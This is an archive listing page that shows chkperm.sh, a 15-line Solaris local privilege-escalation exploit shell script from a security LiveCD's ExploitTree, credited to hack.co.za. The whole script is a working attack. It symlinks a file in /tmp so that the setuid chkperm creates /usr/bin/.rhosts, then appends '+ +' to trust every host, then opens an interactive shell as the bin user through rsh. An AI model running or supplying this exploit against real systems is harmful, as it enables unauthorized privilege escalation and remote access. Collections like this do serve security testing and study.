home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / chkperm.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  354b  |  15 lines

  1. #!/bin/sh
  2.  
  3. mkdir /tmp/foo
  4. mkdir /tmp/fo0/lib
  5. chmod -R 777 /tmp/fo0
  6. setenv VMSYS /tmp/fo0
  7. umask 0000
  8. ln -s /usr/bin/.rhosts /tmp/fo0/lib/.facerc
  9. /usr/vmsys/bin/chkperm -l -u fo0
  10. ls -l /usr/bin/.rhosts
  11. echo "+ +" >> /usr/bin/.rhosts
  12. ls -l /usr/bin/.rhosts
  13. rsh -l bin localhost /bin/csh -i
  14. id
  15. #                 www.hack.co.za           [2000]#